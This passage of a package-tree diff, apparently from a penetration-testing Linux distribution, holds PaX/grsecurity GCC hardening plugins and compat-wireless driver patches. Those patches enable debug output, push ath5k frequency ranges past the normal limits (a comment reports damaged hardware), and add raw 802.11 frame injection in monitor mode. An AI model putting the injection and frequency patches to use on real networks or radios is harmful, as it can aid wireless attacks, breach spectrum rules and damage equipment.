build_pointer_type(build_type_variant(char_type_node, 1, 0)); ++ ++ // void report_size_overflow(const char *loc_file, unsigned int loc_line, const char *current_func, const char *ssa_var) ++ fntype = build_function_type_list(void_type_node, ++ const_char_ptr_type_node, ++ unsigned_type_node, ++ const_char_ptr_type_node, ++ const_char_ptr_type_node, ++ NULL_TREE); ++ report_size_overflow_decl = build_fn_decl("report_size_overflow", fntype); ++ ++ DECL_ASSEMBLER_NAME(report_size_overflow_decl); ++ TREE_PUBLIC(report_size_overflow_decl) = 1; ++ DECL_EXTERNAL(report_size_overflow_decl) = 1; ++ DECL_ARTIFICIAL(report_size_overflow_decl) = 1; ++ TREE_THIS_VOLATILE(report_size_overflow_decl) = 1; ++} ++ ++int plugin_init(struct plugin_name_args *plugin_info, struct plugin_gcc_version *version) ++{ ++ int i; ++ const char * const plugin_name = plugin_info->base_name; ++ const int argc = plugin_info->argc; ++ const struct plugin_argument * const argv = plugin_info->argv; ++ bool enable = true; ++ ++ struct register_pass_info size_overflow_pass_info = { ++ .pass = &size_overflow_pass.pass, ++ .reference_pass_name = "ssa", ++ .ref_pass_instance_number = 1, ++ .pos_op = PASS_POS_INSERT_AFTER ++ }; ++ ++ if (!plugin_default_version_check(version, &gcc_version)) { ++ error(G_("incompatible gcc/plugin versions")); ++ return 1; ++ } ++ ++ for (i = 0; i < argc; ++i) { ++ if (!strcmp(argv[i].key, "no-size-overflow")) { ++ enable = false; ++ continue; ++ } ++ error(G_("unkown option '-fplugin-arg-%s-%s'"), plugin_name, argv[i].key); ++ } ++ ++ register_callback(plugin_name, PLUGIN_INFO, NULL, &size_overflow_plugin_info); ++ if (enable) { ++ register_callback("start_unit", PLUGIN_START_UNIT, &start_unit_callback, NULL); ++ register_callback(plugin_name, PLUGIN_PASS_MANAGER_SETUP, NULL, &size_overflow_pass_info); ++ } ++ register_callback(plugin_name, PLUGIN_ATTRIBUTES, register_attributes, NULL); ++ ++ return 0; ++} +--- tools/gcc/stackleak_plugin.c 1970-01-01 00:00:00.000000000 +0000 ++++ tools/gcc/stackleak_plugin.c 2012-10-15 17:30:59.835924531 +0000 +@@ -0,0 +1,313 @@ ++/* ++ * Copyright 2011 by the PaX Team ++ * Licensed under the GPL v2 ++ * ++ * Note: the choice of the license means that the compilation process is ++ * NOT 'eligible' as defined by gcc's library exception to the GPL v3, ++ * but for the kernel it doesn't matter since it doesn't link against ++ * any of the gcc libraries ++ * ++ * gcc plugin to help implement various PaX features ++ * ++ * - track lowest stack pointer ++ * ++ * TODO: ++ * - initialize all local variables ++ * ++ * BUGS: ++ * - none known ++ */ ++#include "gcc-plugin.h" ++#include "config.h" ++#include "system.h" ++#include "coretypes.h" ++#include "tree.h" ++#include "tree-pass.h" ++#include "flags.h" ++#include "intl.h" ++#include "toplev.h" ++#include "plugin.h" ++//#include "expr.h" where are you... ++#include "diagnostic.h" ++#include "plugin-version.h" ++#include "tm.h" ++#include "function.h" ++#include "basic-block.h" ++#include "gimple.h" ++#include "rtl.h" ++#include "emit-rtl.h" ++ ++extern void print_gimple_stmt(FILE *, gimple, int, int); ++ ++int plugin_is_GPL_compatible; ++ ++static int track_frame_size = -1; ++static const char track_function[] = "pax_track_stack"; ++static const char check_function[] = "pax_check_alloca"; ++static bool init_locals; ++ ++static struct plugin_info stackleak_plugin_info = { ++ .version = "201203140940", ++ .help = "track-lowest-sp=nn\ttrack sp in functions whose frame size is at least nn bytes\n" ++// "initialize-locals\t\tforcibly initialize all stack frames\n" ++}; ++ ++static bool gate_stackleak_track_stack(void); ++static unsigned int execute_stackleak_tree_instrument(void); ++static unsigned int execute_stackleak_final(void); ++ ++static struct gimple_opt_pass stackleak_tree_instrument_pass = { ++ .pass = { ++ .type = GIMPLE_PASS, ++ .name = "stackleak_tree_instrument", ++ .gate = gate_stackleak_track_stack, ++ .execute = execute_stackleak_tree_instrument, ++ .sub = NULL, ++ .next = NULL, ++ .static_pass_number = 0, ++ .tv_id = TV_NONE, ++ .properties_required = PROP_gimple_leh | PROP_cfg, ++ .properties_provided = 0, ++ .properties_destroyed = 0, ++ .todo_flags_start = 0, //TODO_verify_ssa | TODO_verify_flow | TODO_verify_stmts, ++ .todo_flags_finish = TODO_verify_ssa | TODO_verify_stmts | TODO_dump_func | TODO_update_ssa ++ } ++}; ++ ++static struct rtl_opt_pass stackleak_final_rtl_opt_pass = { ++ .pass = { ++ .type = RTL_PASS, ++ .name = "stackleak_final", ++ .gate = gate_stackleak_track_stack, ++ .execute = execute_stackleak_final, ++ .sub = NULL, ++ .next = NULL, ++ .static_pass_number = 0, ++ .tv_id = TV_NONE, ++ .properties_required = 0, ++ .properties_provided = 0, ++ .properties_destroyed = 0, ++ .todo_flags_start = 0, ++ .todo_flags_finish = TODO_dump_func ++ } ++}; ++ ++static bool gate_stackleak_track_stack(void) ++{ ++ return track_frame_size >= 0; ++} ++ ++static void stackleak_check_alloca(gimple_stmt_iterator *gsi) ++{ ++ gimple check_alloca; ++ tree fntype, fndecl, alloca_size; ++ ++ fntype = build_function_type_list(void_type_node, long_unsigned_type_node, NULL_TREE); ++ fndecl = build_fn_decl(check_function, fntype); ++ DECL_ASSEMBLER_NAME(fndecl); // for LTO ++ ++ // insert call to void pax_check_alloca(unsigned long size) ++ alloca_size = gimple_call_arg(gsi_stmt(*gsi), 0); ++ check_alloca = gimple_build_call(fndecl, 1, alloca_size); ++ gsi_insert_before(gsi, check_alloca, GSI_SAME_STMT); ++} ++ ++static void stackleak_add_instrumentation(gimple_stmt_iterator *gsi) ++{ ++ gimple track_stack; ++ tree fntype, fndecl; ++ ++ fntype = build_function_type_list(void_type_node, NULL_TREE); ++ fndecl = build_fn_decl(track_function, fntype); ++ DECL_ASSEMBLER_NAME(fndecl); // for LTO ++ ++ // insert call to void pax_track_stack(void) ++ track_stack = gimple_build_call(fndecl, 0); ++ gsi_insert_after(gsi, track_stack, GSI_CONTINUE_LINKING); ++} ++ ++#if BUILDING_GCC_VERSION == 4005 ++static bool gimple_call_builtin_p(gimple stmt, enum built_in_function code) ++{ ++ tree fndecl; ++ ++ if (!is_gimple_call(stmt)) ++ return false; ++ fndecl = gimple_call_fndecl(stmt); ++ if (!fndecl) ++ return false; ++ if (DECL_BUILT_IN_CLASS(fndecl) != BUILT_IN_NORMAL) ++ return false; ++// print_node(stderr, "pax", fndecl, 4); ++ return DECL_FUNCTION_CODE(fndecl) == code; ++} ++#endif ++ ++static bool is_alloca(gimple stmt) ++{ ++ if (gimple_call_builtin_p(stmt, BUILT_IN_ALLOCA)) ++ return true; ++ ++#if BUILDING_GCC_VERSION >= 4007 ++ if (gimple_call_builtin_p(stmt, BUILT_IN_ALLOCA_WITH_ALIGN)) ++ return true; ++#endif ++ ++ return false; ++} ++ ++static unsigned int execute_stackleak_tree_instrument(void) ++{ ++ basic_block bb, entry_bb; ++ bool prologue_instrumented = false, is_leaf = true; ++ ++ entry_bb = ENTRY_BLOCK_PTR_FOR_FUNCTION(cfun)->next_bb; ++ ++ // 1. loop through BBs and GIMPLE statements ++ FOR_EACH_BB(bb) { ++ gimple_stmt_iterator gsi; ++ ++ for (gsi = gsi_start_bb(bb); !gsi_end_p(gsi); gsi_next(&gsi)) { ++ gimple stmt; ++ ++ stmt = gsi_stmt(gsi); ++ ++ if (is_gimple_call(stmt)) ++ is_leaf = false; ++ ++ // gimple match: align 8 built-in BUILT_IN_NORMAL:BUILT_IN_ALLOCA attributes ++ if (!is_alloca(stmt)) ++ continue; ++ ++ // 2. insert stack overflow check before each __builtin_alloca call ++ stackleak_check_alloca(&gsi); ++ ++ // 3. insert track call after each __builtin_alloca call ++ stackleak_add_instrumentation(&gsi); ++ if (bb == entry_bb) ++ prologue_instrumented = true; ++ } ++ } ++ ++ // special cases for some bad linux code: taking the address of static inline functions will materialize them ++ // but we mustn't instrument some of them as the resulting stack alignment required by the function call ABI ++ // will break other assumptions regarding the expected (but not otherwise enforced) register clobbering ABI. ++ // case in point: native_save_fl on amd64 when optimized for size clobbers rdx if it were instrumented here. ++ if (is_leaf && !TREE_PUBLIC(current_function_decl) && DECL_DECLARED_INLINE_P(current_function_decl)) ++ return 0; ++ if (is_leaf && !strncmp(IDENTIFIER_POINTER(DECL_NAME(current_function_decl)), "_paravirt_", 10)) ++ return 0; ++ ++ // 4. insert track call at the beginning ++ if (!prologue_instrumented) { ++ gimple_stmt_iterator gsi; ++ ++ bb = split_block_after_labels(ENTRY_BLOCK_PTR)->dest; ++ if (dom_info_available_p(CDI_DOMINATORS)) ++ set_immediate_dominator(CDI_DOMINATORS, bb, ENTRY_BLOCK_PTR); ++ gsi = gsi_start_bb(bb); ++ stackleak_add_instrumentation(&gsi); ++ } ++ ++ return 0; ++} ++ ++static unsigned int execute_stackleak_final(void) ++{ ++ rtx insn; ++ ++ if (cfun->calls_alloca) ++ return 0; ++ ++ // keep calls only if function frame is big enough ++ if (get_frame_size() >= track_frame_size) ++ return 0; ++ ++ // 1. find pax_track_stack calls ++ for (insn = get_insns(); insn; insn = NEXT_INSN(insn)) { ++ // rtl match: (call_insn 8 7 9 3 (call (mem (symbol_ref ("pax_track_stack") [flags 0x41] ) [0 S1 A8]) (4)) -1 (nil) (nil)) ++ rtx body; ++ ++ if (!CALL_P(insn)) ++ continue; ++ body = PATTERN(insn); ++ if (GET_CODE(body) != CALL) ++ continue; ++ body = XEXP(body, 0); ++ if (GET_CODE(body) != MEM) ++ continue; ++ body = XEXP(body, 0); ++ if (GET_CODE(body) != SYMBOL_REF) ++ continue; ++ if (strcmp(XSTR(body, 0), track_function)) ++ continue; ++// warning(0, "track_frame_size: %d %ld %d", cfun->calls_alloca, get_frame_size(), track_frame_size); ++ // 2. delete call ++ insn = delete_insn_and_edges(insn); ++#if BUILDING_GCC_VERSION >= 4007 ++ if (GET_CODE(insn) == NOTE && NOTE_KIND(insn) == NOTE_INSN_CALL_ARG_LOCATION) ++ insn = delete_insn_and_edges(insn); ++#endif ++ } ++ ++// print_simple_rtl(stderr, get_insns()); ++// print_rtl(stderr, get_insns()); ++// warning(0, "track_frame_size: %d %ld %d", cfun->calls_alloca, get_frame_size(), track_frame_size); ++ ++ return 0; ++} ++ ++int plugin_init(struct plugin_name_args *plugin_info, struct plugin_gcc_version *version) ++{ ++ const char * const plugin_name = plugin_info->base_name; ++ const int argc = plugin_info->argc; ++ const struct plugin_argument * const argv = plugin_info->argv; ++ int i; ++ struct register_pass_info stackleak_tree_instrument_pass_info = { ++ .pass = &stackleak_tree_instrument_pass.pass, ++// .reference_pass_name = "tree_profile", ++ .reference_pass_name = "optimized", ++ .ref_pass_instance_number = 1, ++ .pos_op = PASS_POS_INSERT_BEFORE ++ }; ++ struct register_pass_info stackleak_final_pass_info = { ++ .pass = &stackleak_final_rtl_opt_pass.pass, ++ .reference_pass_name = "final", ++ .ref_pass_instance_number = 1, ++ .pos_op = PASS_POS_INSERT_BEFORE ++ }; ++ ++ if (!plugin_default_version_check(version, &gcc_version)) { ++ error(G_("incompatible gcc/plugin versions")); ++ return 1; ++ } ++ ++ register_callback(plugin_name, PLUGIN_INFO, NULL, &stackleak_plugin_info); ++ ++ for (i = 0; i < argc; ++i) { ++ if (!strcmp(argv[i].key, "track-lowest-sp")) { ++ if (!argv[i].value) { ++ error(G_("no value supplied for option '-fplugin-arg-%s-%s'"), plugin_name, argv[i].key); ++ continue; ++ } ++ track_frame_size = atoi(argv[i].value); ++ if (argv[i].value[0] < '0' || argv[i].value[0] > '9' || track_frame_size < 0) ++ error(G_("invalid option argument '-fplugin-arg-%s-%s=%s'"), plugin_name, argv[i].key, argv[i].value); ++ continue; ++ } ++ if (!strcmp(argv[i].key, "initialize-locals")) { ++ if (argv[i].value) { ++ error(G_("invalid option argument '-fplugin-arg-%s-%s=%s'"), plugin_name, argv[i].key, argv[i].value); ++ continue; ++ } ++ init_locals = true; ++ continue; ++ } ++ error(G_("unkown option '-fplugin-arg-%s-%s'"), plugin_name, argv[i].key); ++ } ++ ++ register_callback(plugin_name, PLUGIN_PASS_MANAGER_SETUP, NULL, &stackleak_tree_instrument_pass_info); ++ register_callback(plugin_name, PLUGIN_PASS_MANAGER_SETUP, NULL, &stackleak_final_pass_info); ++ ++ return 0; ++} diff --git a/net-wireless/compat-wireless/files/driver-debug.patch b/net-wireless/compat-wireless/files/driver-debug.patch new file mode 100644 index 00000000..a50ed693 --- /dev/null +++ b/net-wireless/compat-wireless/files/driver-debug.patch @@ -0,0 +1,120 @@ +diff -Naur /var/tmp/portage/net-wireless/compat-wireless-2.6.35_rc2-r1/work/compat-wireless-2.6.35-rc2/config.mk /usr/src/compat-wireless-2.6.35-rc2/config.mk +--- /var/tmp/portage/net-wireless/compat-wireless-2.6.35_rc2-r1/work/compat-wireless-2.6.35-rc2/config.mk 2010-06-12 01:28:31.000000000 -0400 ++++ /usr/src/compat-wireless-2.6.35-rc2/config.mk 2010-06-12 01:35:32.000000000 -0400 +@@ -172,7 +172,7 @@ + ifneq ($(CONFIG_PCI),) + + CONFIG_ATH5K=m +-# CONFIG_ATH5K_DEBUG=y ++CONFIG_ATH5K_DEBUG=y + CONFIG_ATH9K_HW=m + CONFIG_ATH9K=m + # Note: once ath9k_htc is added we'll have to move +@@ -183,7 +183,7 @@ + + + CONFIG_IWLWIFI=m +-# CONFIG_IWLWIFI_DEBUG=y ++CONFIG_IWLWIFI_DEBUG=y + # CONFIG_IWLWIFI_DEBUGFS=y + # CONFIG_IWLWIFI_DEVICE_TRACING=y + CONFIG_IWLAGN=m +@@ -202,30 +202,30 @@ + CONFIG_B43_PHY_LP=y + CONFIG_B43_NPHY=y + # CONFIG_B43_FORCE_PIO=y +-# CONFIG_B43_DEBUG=y ++CONFIG_B43_DEBUG=y + + CONFIG_B43LEGACY=m + CONFIG_B43LEGACY_HWRNG=y + CONFIG_B43LEGACY_PCI_AUTOSELECT=y + CONFIG_B43LEGACY_LEDS=y +-# CONFIG_B43LEGACY_DEBUG=y ++CONFIG_B43LEGACY_DEBUG=y + CONFIG_B43LEGACY_DMA=y + CONFIG_B43LEGACY_PIO=y + + # The Intel ipws + CONFIG_LIBIPW=m +-# CONFIG_LIBIPW_DEBUG=y ++CONFIG_LIBIPW_DEBUG=y + + + CONFIG_IPW2100=m + CONFIG_IPW2100_MONITOR=y +-# CONFIG_IPW2100_DEBUG=y ++CONFIG_IPW2100_DEBUG=y + CONFIG_IPW2200=m + CONFIG_IPW2200_MONITOR=y + CONFIG_IPW2200_RADIOTAP=y + CONFIG_IPW2200_PROMISCUOUS=y + CONFIG_IPW2200_QOS=y +-# CONFIG_IPW2200_DEBUG=y ++CONFIG_IPW2200_DEBUG=y + # The above enables use a second interface prefixed 'rtap'. + # Example usage: + # +@@ -242,7 +242,7 @@ + ifneq ($(CONFIG_SSB),) + # Sonics Silicon Backplane + CONFIG_SSB_SPROM=y +-# CONFIG_SSB_DEBUG=y ++CONFIG_SSB_DEBUG=y + + CONFIG_SSB_BLOCKIO=y + CONFIG_SSB_PCIHOST=y +@@ -250,7 +250,7 @@ + ifneq ($(CONFIG_PCMCIA),) + CONFIG_SSB_PCMCIAHOST=y + endif +-# CONFIG_SSB_DEBUG=y ++CONFIG_SSB_DEBUG=y + CONFIG_SSB_DRIVER_PCICORE=y + endif + +@@ -327,7 +327,7 @@ + # USB Drivers + ifneq ($(CONFIG_USB),) + CONFIG_ZD1211RW=m +-# CONFIG_ZD1211RW_DEBUG=y ++CONFIG_ZD1211RW_DEBUG=y + + # Sorry, rndis_wlan uses cancel_work_sync which is new and can't be done in compat... + +@@ -433,7 +433,7 @@ + # iwmc3200wifi uses new netdev_ops api no supported by old kernel. + ifndef CONFIG_COMPAT_KERNEL_29 + CONFIG_IWM=m +-# CONFIG_IWM_DEBUG=y ++CONFIG_IWM_DEBUG=y + endif + + endif # end of SDIO driver list +@@ -447,7 +447,7 @@ + CONFIG_RT2X00_LIB_FIRMWARE=y + CONFIG_RT2X00_LIB_CRYPTO=y + CONFIG_RT2X00_LIB_LEDS=y +-# CONFIG_RT2X00_DEBUG=y ++CONFIG_RT2X00_DEBUG=y + # CONFIG_RT2X00_LIB_DEBUGFS + endif + +@@ -461,7 +461,7 @@ + + # Atheros + CONFIG_ATH_COMMON=m +-# CONFIG_ATH_DEBUG=y ++CONFIG_ATH_DEBUG=y + + CONFIG_WL12XX=y + CONFIG_WL1251=m +@@ -476,7 +476,7 @@ + CONFIG_LIBERTAS_THINFIRM=m + CONFIG_LIBERTAS=m + CONFIG_LIBERTAS_MESH=y +-# CONFIG_LIBERTAS_DEBUG=y ++CONFIG_LIBERTAS_DEBUG=y + endif + endif + diff --git a/net-wireless/compat-wireless/files/failed_ath5k-frequency-chaos-2.6.28.patch b/net-wireless/compat-wireless/files/failed_ath5k-frequency-chaos-2.6.28.patch new file mode 100644 index 00000000..ebe0936e --- /dev/null +++ b/net-wireless/compat-wireless/files/failed_ath5k-frequency-chaos-2.6.28.patch @@ -0,0 +1,152 @@ +diff -Naur linux-2.6.28/drivers/net/wireless/ath5k/base.c linux-2.6.28-chaos/drivers/net/wireless/ath5k/base.c +--- linux-2.6.28/drivers/net/wireless/ath5k/base.c 2008-12-24 18:26:37.000000000 -0500 ++++ linux-2.6.28-chaos/drivers/net/wireless/ath5k/base.c 2009-02-06 21:38:43.000000000 -0500 +@@ -272,7 +272,7 @@ + static void ath5k_detach(struct pci_dev *pdev, + struct ieee80211_hw *hw); + /* Channel/mode setup */ +-static inline short ath5k_ieee2mhz(short chan); ++static inline short ath5k_ieee2mhz(int chan, unsigned int chfreq); + static unsigned int ath5k_copy_channels(struct ath5k_hw *ah, + struct ieee80211_channel *channels, + unsigned int mode, +@@ -848,12 +848,16 @@ + * Convert IEEE channel number to MHz frequency. + */ + static inline short +-ath5k_ieee2mhz(short chan) ++ath5k_ieee2mhz(int chan, unsigned int chfreq) + { +- if (chan <= 14 || chan >= 27) +- return ieee80211chan2mhz(chan); ++ if (chfreq == CHANNEL_5GHZ) ++ return (chan + 1000) * 5; + else +- return 2212 + chan * 20; ++// XXX: This part needs to be fixed ++ if (chan <= 14 || chan >= 27) ++ return ieee80211chan2mhz(chan); ++ else ++ return 2212 + chan * 20; + } + + static unsigned int +@@ -862,22 +866,25 @@ + unsigned int mode, + unsigned int max) + { +- unsigned int i, count, size, chfreq, freq, ch; ++ unsigned int i, count, size, chfreq, freq; ++ int ch; + + if (!test_bit(mode, ah->ah_modes)) + return 0; + + switch (mode) { ++ /* I don't even like channel numbers */ + case AR5K_MODE_11A: + case AR5K_MODE_11A_TURBO: +- /* 1..220, but 2GHz frequencies are filtered by check_channel */ +- size = 220 ; ++ size = 241 ; // going over 6.0GHz may be dangerous so I am limiting it ++ ch = -40; // might be able to push this to -201 or so, needs more testing + chfreq = CHANNEL_5GHZ; + break; + case AR5K_MODE_11B: + case AR5K_MODE_11G: + case AR5K_MODE_11G_TURBO: +- size = 26; ++ size = 70; ++ ch = -43; + chfreq = CHANNEL_2GHZ; + break; + default: +@@ -885,9 +892,8 @@ + return 0; + } + +- for (i = 0, count = 0; i < size && max > 0; i++) { +- ch = i + 1 ; +- freq = ath5k_ieee2mhz(ch); ++ for (i = 0, count = 0; i < size && max > 0; i++,ch++) { ++ freq = ath5k_ieee2mhz(ch,chfreq); + + /* Check if channel is supported by the chipset */ + if (!ath5k_channel_ok(ah, freq, chfreq)) +diff -Naur linux-2.6.28/drivers/net/wireless/ath5k/base.h linux-2.6.28-chaos/drivers/net/wireless/ath5k/base.h +--- linux-2.6.28/drivers/net/wireless/ath5k/base.h 2008-12-24 18:26:37.000000000 -0500 ++++ linux-2.6.28-chaos/drivers/net/wireless/ath5k/base.h 2009-02-06 21:38:43.000000000 -0500 +@@ -93,11 +93,7 @@ + }; + + +-#if CHAN_DEBUG +-#define ATH_CHAN_MAX (26+26+26+200+200) +-#else +-#define ATH_CHAN_MAX (14+14+14+252+20) +-#endif ++#define ATH_CHAN_MAX (70+70+70+240+240) // b+g+gT+a+aT XXX: This is probably excessive + + /* Software Carrier, keeps track of the driver state + * associated with an instance of a device */ +diff -Naur linux-2.6.28/drivers/net/wireless/ath5k/caps.c linux-2.6.28-chaos/drivers/net/wireless/ath5k/caps.c +--- linux-2.6.28/drivers/net/wireless/ath5k/caps.c 2008-12-24 18:26:37.000000000 -0500 ++++ linux-2.6.28-chaos/drivers/net/wireless/ath5k/caps.c 2009-02-06 21:38:43.000000000 -0500 +@@ -69,9 +69,9 @@ + + if (AR5K_EEPROM_HDR_11A(ee_header)) { + /* 4920 */ +- ah->ah_capabilities.cap_range.range_5ghz_min = 5005; +- ah->ah_capabilities.cap_range.range_5ghz_max = 6100; +- ++ ah->ah_capabilities.cap_range.range_5ghz_min = 4800; ++ ah->ah_capabilities.cap_range.range_5ghz_max = 6000; /* 6100 is what the code said but */ ++ /* it fried my Ubiquiti SRC */ + /* Set supported modes */ + __set_bit(AR5K_MODE_11A, + ah->ah_capabilities.cap_mode); +@@ -87,7 +87,7 @@ + if (AR5K_EEPROM_HDR_11B(ee_header) || + AR5K_EEPROM_HDR_11G(ee_header)) { + /* 2312 */ +- ah->ah_capabilities.cap_range.range_2ghz_min = 2412; ++ ah->ah_capabilities.cap_range.range_2ghz_min = 2192; /* this is the bottom of the registers */ + ah->ah_capabilities.cap_range.range_2ghz_max = 2732; + + if (AR5K_EEPROM_HDR_11B(ee_header)) +diff -Naur linux-2.6.28/net/mac80211/tx.c linux-2.6.28-chaos/net/mac80211/tx.c +--- linux-2.6.28/net/mac80211/tx.c 2008-12-24 18:26:37.000000000 -0500 ++++ linux-2.6.28-chaos/net/mac80211/tx.c 2009-02-06 21:38:53.000000000 -0500 +@@ -1378,10 +1378,32 @@ + struct net_device *dev) + { + struct ieee80211_local *local = wdev_priv(dev->ieee80211_ptr); ++ struct ieee80211_channel *chan = local->hw.conf.channel; + struct ieee80211_radiotap_header *prthdr = + (struct ieee80211_radiotap_header *)skb->data; + u16 len_rthdr; + ++ /* ++ * Frame injection is not allowed if beaconing is not allowed ++ * or if we need radar detection. Beaconing is usually not allowed when ++ * the mode or operation (Adhoc, AP, Mesh) does not support DFS. ++ * Passive scan is also used in world regulatory domains where ++ * your country is not known and as such it should be treated as ++ * NO TX unless the channel is explicitly allowed in which case ++ * your current regulatory domain would not have the passive scan ++ * flag. ++ * ++ * Since AP mode uses monitor interfaces to inject/TX management ++ * frames we can make AP mode the exception to this rule once it ++ * supports radar detection as its implementation can deal with ++ * radar detection by itself. We can do that later by adding a ++ * monitor flag interfaces used for AP support. ++ */ ++ if ((chan->flags & (IEEE80211_CHAN_NO_IBSS | IEEE80211_CHAN_RADAR | ++ IEEE80211_CHAN_PASSIVE_SCAN))) ++ return TX_DROP; ++ /* This was intended for the kernel patch but it didn't work; goto fail; */ ++ + /* check for not even having the fixed radiotap header part */ + if (unlikely(skb->len < sizeof(struct ieee80211_radiotap_header))) + goto fail; /* too short to be possibly valid */ diff --git a/net-wireless/compat-wireless/files/failed_ieee80211_inject-2.6.22.patch b/net-wireless/compat-wireless/files/failed_ieee80211_inject-2.6.22.patch new file mode 100644 index 00000000..f31a0f01 --- /dev/null +++ b/net-wireless/compat-wireless/files/failed_ieee80211_inject-2.6.22.patch @@ -0,0 +1,26 @@ +--- linux-2.6.23_orig/net/ieee80211/ieee80211_tx.c 2007-10-09 22:31:38.000000000 +0200 ++++ linux-2.6.23/net/ieee80211/ieee80211_tx.c 2007-10-14 19:39:49.000000000 +0200 +@@ -293,6 +293,23 @@ + + ether_type = ntohs(((struct ethhdr *)skb->data)->h_proto); + ++ if(ieee->iw_mode == IW_MODE_MONITOR) ++ { ++ txb = ieee80211_alloc_txb(1, skb->len, ++ ieee->tx_headroom, GFP_ATOMIC); ++ if (unlikely(!txb)) { ++ printk(KERN_WARNING "%s: Could not allocate TXB\n", ++ ieee->dev->name); ++ goto failed; ++ } ++ ++ txb->encrypted = 0; ++ txb->payload_size = skb->len; ++ skb_copy_from_linear_data(skb, skb_put(txb->fragments[0],skb->len), skb->len); ++ ++ goto success; ++ } ++ + crypt = ieee->crypt[ieee->tx_keyidx]; + + encrypt = !(ether_type == ETH_P_PAE && ieee->ieee802_1x) && diff --git a/net-wireless/compat-wireless/files/failed_linux-wlanng-kernel-2.6.28.patch b/net-wireless/compat-wireless/files/failed_linux-wlanng-kernel-2.6.28.patch new file mode 100644 index 00000000..757973f8 --- /dev/null +++ b/net-wireless/compat-wireless/files/failed_linux-wlanng-kernel-2.6.28.patch @@ -0,0 +1,299 @@ +diff -Naur linux-2.6.28-pentoo-r4/drivers/staging/wlan-ng/hfa384x.c linux-2.6.28-pentoo-r4-fauxpas/drivers/staging/wlan-ng/hfa384x.c +--- linux-2.6.28-pentoo-r4/drivers/staging/wlan-ng/hfa384x.c 2008-12-24 18:26:37.000000000 -0500 ++++ linux-2.6.28-pentoo-r4-fauxpas/drivers/staging/wlan-ng/hfa384x.c 2009-04-04 22:53:46.000000000 -0400 +@@ -1873,8 +1873,16 @@ + + DBFENTER; + +- cmd.cmd = HFA384x_CMD_CMDCODE_SET(HFA384x_CMDCODE_MONITOR) | +- HFA384x_CMD_AINFO_SET(enable); ++// cmd.cmd = HFA384x_CMD_CMDCODE_SET(HFA384x_CMDCODE_MONITOR) | ++// HFA384x_CMD_AINFO_SET(enable); ++ if (enable == HFA384x_MONITOR_ENABLE) { ++ // KoreK: get into test mode 0x0a ++ cmd.cmd = HFA384x_CMD_CMDCODE_SET(HFA384x_CMDCODE_MONITOR) | ++ HFA384x_CMD_AINFO_SET(0x0a); ++ } else { ++ cmd.cmd = HFA384x_CMD_CMDCODE_SET(HFA384x_CMDCODE_MONITOR) | ++ HFA384x_CMD_AINFO_SET(enable); ++ } + cmd.parm0 = 0; + cmd.parm1 = 0; + cmd.parm2 = 0; +@@ -3114,11 +3122,32 @@ + #endif + + /* if we're using host WEP, increase size by IV+ICV */ +- if (p80211_wep->data) { +- txdesc.data_len = host2hfa384x_16(skb->len+8); +- // txdesc.tx_control |= HFA384x_TX_NOENCRYPT_SET(1); +- } else { +- txdesc.data_len = host2hfa384x_16(skb->len); ++// if (p80211_wep->data) { ++// txdesc.data_len = host2hfa384x_16(skb->len+8); ++// // txdesc.tx_control |= HFA384x_TX_NOENCRYPT_SET(1); ++// } else { ++// txdesc.data_len = host2hfa384x_16(skb->len); ++// } ++ ++ if (skb->protocol != htons(ETH_P_80211_RAW)) { ++ /* if we're using host WEP, increase size by IV+ICV */ ++ if (p80211_wep->data) { ++ txdesc.data_len = host2hfa384x_16(skb->len+8); ++ // txdesc.tx_control |= HFA384x_TX_NOENCRYPT_SET(1); ++ } else { ++ txdesc.data_len = host2hfa384x_16(skb->len); ++ } ++ } else { ++ /* KoreK: raw injection (monitor mode): pull the rest of ++ the header and ssanity check on txdesc.data_len */ ++ memcpy(&(txdesc.data_len), skb->data, 16); ++ skb_pull(skb,16); ++ if (txdesc.data_len != host2hfa384x_16(skb->len)) { ++ printk(KERN_DEBUG "mismatch frame_len, drop frame\n"); ++ return 0; ++ } ++ ++ txdesc.tx_control |= HFA384x_TX_RETRYSTRAT_SET(1); + } + + txdesc.tx_control = host2hfa384x_16(txdesc.tx_control); +@@ -3142,7 +3171,8 @@ + spin_lock(&hw->cmdlock); + + /* Copy descriptor+payload to FID */ +- if (p80211_wep->data) { ++// if (p80211_wep->data) { ++ if (p80211_wep->data && (skb->protocol != htons(ETH_P_80211_RAW))) { + result = hfa384x_copy_to_bap4(hw, HFA384x_BAP_PROC, fid, 0, + &txdesc, sizeof(txdesc), + p80211_wep->iv, sizeof(p80211_wep->iv), +@@ -3588,6 +3618,17 @@ + { + case 0: + ++ /* KoreK: this testmode uses macport 0 */ ++ if ((wlandev->netdev->type == ARPHRD_IEEE80211) || ++ (wlandev->netdev->type == ARPHRD_IEEE80211_PRISM)) { ++ if ( ! HFA384x_RXSTATUS_ISFCSERR(rxdesc.status) ) { ++ hfa384x_int_rxmonitor( wlandev, rxfid, &rxdesc); ++ } else { ++ WLAN_LOG_DEBUG(3,"Received monitor frame: FCSerr set\n"); ++ } ++ goto done; ++ } ++ + fc = ieee2host16(rxdesc.frame_control); + + /* If exclude and we receive an unencrypted, drop it */ +diff -Naur linux-2.6.28-pentoo-r4/drivers/staging/wlan-ng/hfa384x_usb.c linux-2.6.28-pentoo-r4-fauxpas/drivers/staging/wlan-ng/hfa384x_usb.c +--- linux-2.6.28-pentoo-r4/drivers/staging/wlan-ng/hfa384x_usb.c 2008-12-24 18:26:37.000000000 -0500 ++++ linux-2.6.28-pentoo-r4-fauxpas/drivers/staging/wlan-ng/hfa384x_usb.c 2009-04-04 23:13:53.000000000 -0400 +@@ -1430,8 +1430,17 @@ + + DBFENTER; + +- cmd.cmd = HFA384x_CMD_CMDCODE_SET(HFA384x_CMDCODE_MONITOR) | +- HFA384x_CMD_AINFO_SET(enable); ++// cmd.cmd = HFA384x_CMD_CMDCODE_SET(HFA384x_CMDCODE_MONITOR) | ++// HFA384x_CMD_AINFO_SET(enable); ++ if (enable == HFA384x_MONITOR_ENABLE) { ++ // KoreK: get into test mode 0x0a ++ cmd.cmd = HFA384x_CMD_CMDCODE_SET(HFA384x_CMDCODE_MONITOR) | ++ HFA384x_CMD_AINFO_SET(0x0a); ++ } else { ++ cmd.cmd = HFA384x_CMD_CMDCODE_SET(HFA384x_CMDCODE_MONITOR) | ++ HFA384x_CMD_AINFO_SET(enable); ++ } ++ + cmd.parm0 = 0; + cmd.parm1 = 0; + cmd.parm2 = 0; +@@ -3431,37 +3440,71 @@ + HFA384x_TX_MACPORT_SET(0) | HFA384x_TX_STRUCTYPE_SET(1) | + HFA384x_TX_TXEX_SET(0) | HFA384x_TX_TXOK_SET(0); + #endif +- 